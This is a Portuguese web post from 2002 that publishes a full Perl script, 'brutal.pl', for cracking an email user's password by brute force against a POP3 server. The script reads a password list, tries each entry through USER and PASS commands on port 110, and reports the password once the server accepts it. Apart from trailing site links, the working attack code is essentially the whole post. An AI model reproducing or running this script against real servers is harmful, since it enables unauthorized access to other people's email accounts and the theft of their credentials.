Brutal Force Attack
Publicado por Fábio Berbert de Paula 13/11/2002
[ Hits: 16.352 ]
Homepage: https://fabio.automatizando.dev
Tenta fazer a adivinhação da senha de um usuário de email através da técnica de invasão por força bruta, ou seja, tentativa e erro. O script utiliza o módulo IO::Socket para efetuar conexão com o servidor POP.
#!/usr/bin/perl
#############################################
# brutal.pl
#
# Programa que simula um ataque brutal force
# em servidores de email através da tentativa
# de invasão por adivinhação de senha.
#
# Programado por: Fábio Berbert de Paula
# E-mail: fabio@vivaolinux.com.br
# Web Site: www.vivaolinux.com.br
#
# Rio de Janeiro, 12 de Agosto de 2002
# ##########################################
use strict;
use IO::Socket;
if ($#ARGV != 2) {
print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n";
print "\tpopserver = servidor de email\n\tusername = nome do usuário\n";
print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n";
exit(0);
}
my ($server,$user,$pwfile) = @ARGV;
if (! -f $pwfile) {
print "Erro: $pwfile não é um nome de arquivo válido!\n";
exit;
}
# para cada senha, tente invadir
open(R,$pwfile);
while (<R>) {
chomp;
tryout($server,$user,$_);
}
close(R);
sub tryout {
my ($server,$user,$passwd) = @_;
my $state;
print "Tentativa: $passwd ...\n";
my $connex = new IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => "110",
Proto => "tcp",
Type => SOCK_STREAM,
Timeout => "30"
);
if (!defined($connex)) {
print "Erro ao conectar ao servidor $server ...\n";
exit(0);
}
$state = &readsock($connex);
$connex->send("USER $user\r\n");
$state = &readsock($connex);
if ($state !~ /^\+OK/) { next; }
$connex->send("PASS $passwd\r\n");
$state = &readsock($connex);
if ($state =~ /^\+OK/) {
print "Cracked!!! A senha do usuário $user é $passwd\n";
exit;
}
$connex -> close;
sleep(5);
}
sub readsock {
my ($socket) = @_;
my $data = '';
my $buf = '';
while ($buf !~ /\n$/) {
$buf=<$socket>;
$data .= $buf;
}
return $data;
}
Testando multiplos servers a ataque DoS
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Novos apps de produtividade, avanços em IA e distros em ebulição agitam o universo Linux
Como instalar o Plex Media Server no Ubuntu
Digitando underscore com "shift" + "barra de espaços"
Como ativar a lixeira e recuperar aquivos deletados em um servidor Linux
Como mudar o nome de dispositivos Bluetooth via linha de comando
Instalação não está resolvendo as dependencias (0)
dpkg: erro: gatilho de arquivo duplicado chamado pelo arquivo de nome (5)
Captação de áudio no zorin linux começa a diminuir com o tempo (5)
Alternativas ao Multilogin para gerenciamento de múltiplas contas/prof... (0)









